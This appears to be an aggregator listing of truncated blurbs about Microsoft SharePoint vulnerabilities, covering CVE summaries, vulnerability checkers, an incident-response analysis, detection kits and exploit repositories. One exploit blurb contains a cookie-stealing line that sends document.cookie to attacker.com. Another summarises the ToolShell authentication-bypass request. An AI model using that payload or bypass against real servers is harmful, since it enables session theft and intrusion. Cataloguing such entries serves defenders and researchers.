Microsoft SharePoint Server - Authentication Bypass (ToolShell)

Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /layouts/15/ToolPane.aspx with a forged Referer header /layouts/SignOut.aspx, attackers can bypass authenticati...

CVE-2023-29357-Check

CVE-2023-29357 Microsoft SharePoint Server Elevate Privilege Vulnerability This script will tell you if the target is vulnerable to CVE-2023-29357 Usage root@kitploit: python3 script.py Disclaimer This script is for educational purposes only. Do not use it against targets without prior mutual...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

Sharepoint-cve-2023-29375-incident-response

SOC Incident Analysis: Microsoft SharePoint Server Elevation of Privilege CVE-2023-29375 An in-depth security investigation of a critical exploit and enumeration attempt targeting a Microsoft SharePoint server. Incident Overview Alert Name: SOC227 - Microsoft SharePoint Server Elevation of...

Microsoft SharePoint Server - Authentication Bypass

Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. id: CVE-2025-49706 info: name: Microsoft SharePoint Server - Authentication Bypass author: daffainfo severity: medium description: | Improper authentication in Microsoft Offi...

CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation

🚨 CVE-2025-49706 – SharePoint Spoofing Vulnerability Under Active Exploitation By Aditya Bhatt – VAPT Specialist | Red Teamer 📌 TL;DR Microsoft SharePoint is under active threat. CVE‑2025‑49706, a spoofing vulnerability in SharePoint Server, has evolved from medium-severity to real-world...

presentations

My presentations More things can be found in my personal site: https://sites.google.com/site/zhiniangpeng root@kitploit: Exploiting preauth RCE and Sandbox escape vulnerabilities in EXSi, Typhooncon 2023 OLE object are still dangerous today — Exploiting Microsoft Office, POC 2023...

bluefire-sharepoint-cve-2025-53770

🔐 Bluefire Redteam – Kit de Detección y Corrección de SharePoint CVE-2025-53770 Este kit de herramientas de código abierto proporciona a los equipos de seguridad scripts probados en combate para detectar, evaluar y corregir la vulnerabilidad crítica de día cero de SharePoint CVE-2025-53770 CVSS 9...

CVE-2026-56164-EXP

Microsoft SharePoint Server Elevación de Privilegios - CVE-2026-56164 Exploit funcional de EOP sin autenticación. Resumen Falta de autenticación para función crítica CWE-306 en los endpoints de perfil de usuario y colección de sitios de SharePoint Server. Permite a atacantes remotos escalar desde...

CVE-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Crítico — Ejecución remota de código no autenticada mediante deserialización no segura en Microsoft SharePoint Server CVE-2025-53770 Descripción La deserialización de datos no confiables en Microsoft SharePoint Server local permite a un atacante...

CVE-2026-62917 Microsoft SharePoint Server Spoofing Vulnerability

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CVE-2026-62917 Microsoft SharePoint Server Spoofing Vulnerability

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CVE-2026-58639

CVE-2026-58639 describes a server-side request forgery (SSRF) in Microsoft Office SharePoint. The NVD entries indicate an authorized attacker can leverage SSRF to spoof over a network with a base CVSS v3.1 score of 6.5 (Medium): attack vector NETWORK, user interaction NONE, privileges required LO...

CVE-2026-62839 Microsoft SharePoint Server Spoofing Vulnerability

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CVE-2026-62839 Microsoft SharePoint Server Spoofing Vulnerability

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CVE-2026-58639 Microsoft SharePoint Server Spoofing Vulnerability

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CVE-2026-58639 Microsoft SharePoint Server Spoofing Vulnerability

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CVE-2026-62839

CVE-2026-62839 describes insufficient protection of credentials in Microsoft Office SharePoint, enabling an authorized attacker to perform network spoofing. The vulnerability is triggered by inadequate credential handling in SharePoint, which may allow an attacker with low privileges and network ...

CVE-2026-70326 Microsoft SharePoint Server Elevation of Privilege Vulnerability

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CVE-2026-70326

CVE-2026-70326 describes a Server-Side Request Forgery (SSRF) vulnerability in Microsoft Office SharePoint that enables an authorized attacker to elevate privileges over a network . Publicly documented details indicate the affected product is SharePoint Server, with the underlying impact being el...